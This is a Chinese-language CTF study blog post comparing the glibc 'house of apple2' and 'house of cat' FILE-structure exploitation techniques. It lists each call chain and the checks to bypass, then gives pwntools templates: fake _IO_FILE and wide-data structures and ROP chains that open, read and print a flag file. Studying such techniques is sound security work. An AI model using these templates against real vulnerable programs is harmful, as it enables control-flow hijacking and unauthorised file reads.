前言
最近感觉apple2和cat有些利用条件搞混了,就想出一篇博客总结一下。
house of apple2
调用链:
exit -->> __run_exit_handlers -->> _IO_cleanup -->> _IO_flush_all_lockp
-->> _IO_wfile_overflow -->> _IO_wdoallocbuf -->> _IO_WDOALLOCATE
-->> *(fp->_wide_data->_wide_vtable + 0x68)(fp)/
*(fp->_wide_data->_wide_vtable->_doallocate)(fp)
绕过检查:
- f->flags!=0x8 && f->flags!=0x800 && f->flags!=0x2
- fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base(这个一般不用考虑,只要你用largbinattack将堆块地址写到全局变量里面,一般就会满足,满足不了看下一个条件)
fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)
- vtable设置为_IO_wfile_jumps使其能成功调用_IO_wfile_overflow即可
- _wide_data设置为可控堆地址heap_addr1,即满足*(f + 0xa0) = heap_addr1
- _wide_data->_IO_write_base设置为0,即满足*(heap_addr1 + 0x18) = 0
- _wide_data->_IO_buf_base设置为0,即满足*(heap_addr1 + 0x30) = 0
- _wide_data->_wide_vtable设置为可控堆地址heap_addr2,即满足*(heap_addr1 + 0xe0) = heap_addr2
- _wide_data->_wide_vtable->doallocate设置为地址C用于劫持执行流,即满足*(heap_addr2 + 0x68) = C
模板:
fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0,#_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:0, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:0x5635cdee0310-0x5635cdede000+heap_base, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:_IO_wfile_jumps+libc_base,#vtable
})
fake_IO_wide_data=flat({
0x0:[libc_base+0x000000000002a3e5,#pop rdi
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
0,##
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0,
0,##
libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
2,
libc_base+libc.sym["syscall"]+27,
libc_base+0x000000000002a3e5,#pop rdi
3,
libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
heap_base+0x5626d7c3b950- 0x5626d7c39000,
libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
0x100,
0,
read_addr,
libc_base+0x000000000002a3e5,#pop rdi,
1,
write_addr,],
0xa8:0,
0xb0:0,
0xb8:0,
0xc0:0,
0xc8:0,
0xd0:0,
0xd8:0,
0xe0:0x5635cdee03f0-0x5635cdede000+heap_base,
0x148:libc_base+0x000000000005a120#0x000000000005a120 : mov rsp, rdx ; ret
})
图解:
house of cat
调用链:
__malloc_assert -->> __fxprintf() -->> __vfxprintf() -->> locked_vfxprintf()
-->> _IO_wfile_jumps -->> _IO_wfile_seekoff -->> _IO_switch_to_wget_mode()
-->> _IO_WOVERFLOW -->> _IO_wfile_underflow
绕过检查:
fp.mode != 0
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 或者 fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
fp->_lock必须是一个可以写的地址
模板:
#close
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(heap_base+0x55b23e8c93f0-0x55b23e8c8000+0x10)
rop+=p64(0)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open
rop+=p64(pop_rdi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0x55cbc30c6f60-0x55cbc30c6000)# flag store address
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(write_addr)
fake_IO_stderr=fake_IO_FILE=flat({
0x0:0, #_IO_read_end
0x8:0, #_IO_read_base
0x10:0, #_IO_write_base
0x18:0, #_IO_write_ptr
0x20:0, #_IO_write_end
0x28:0, #_IO_buf_base
0x30:0, #_IO_buf_end
0x38:0, #_IO_save_base
0x40:0, #_IO_backup_base
0x48:0,#_IO_save_end
0x50:0, #_markers
0x58:0, #_chain
0x60:0, #_fileno
0x68:0, #_old_offset
0x70:0, #_cur_column
0x78:libc_base + 0x21ba60, #_lock
0x80:0, #_offset
0x88:0, #_codecvt
0x90:heap_base+0x55cbc30c73d0- 0x55cbc30c6000, #_wide_data
0x98:0, #_freeres_list
0xa0:0, #_freeres_buf
0xa8:0, #__pad5
0xb0:0, #_mode
0xc8:io_wfile_jumps+0x10,#vtable
})
fake_IO_wide_data=flat({
0x0:bytes(rop),
0xe0:0x55810b78b4b0-0x55810b78a000+heap_base,
0xf8:libc_base+0x000000000005a170#0x000000000005a170 : mov rsp, rdx ; ret
})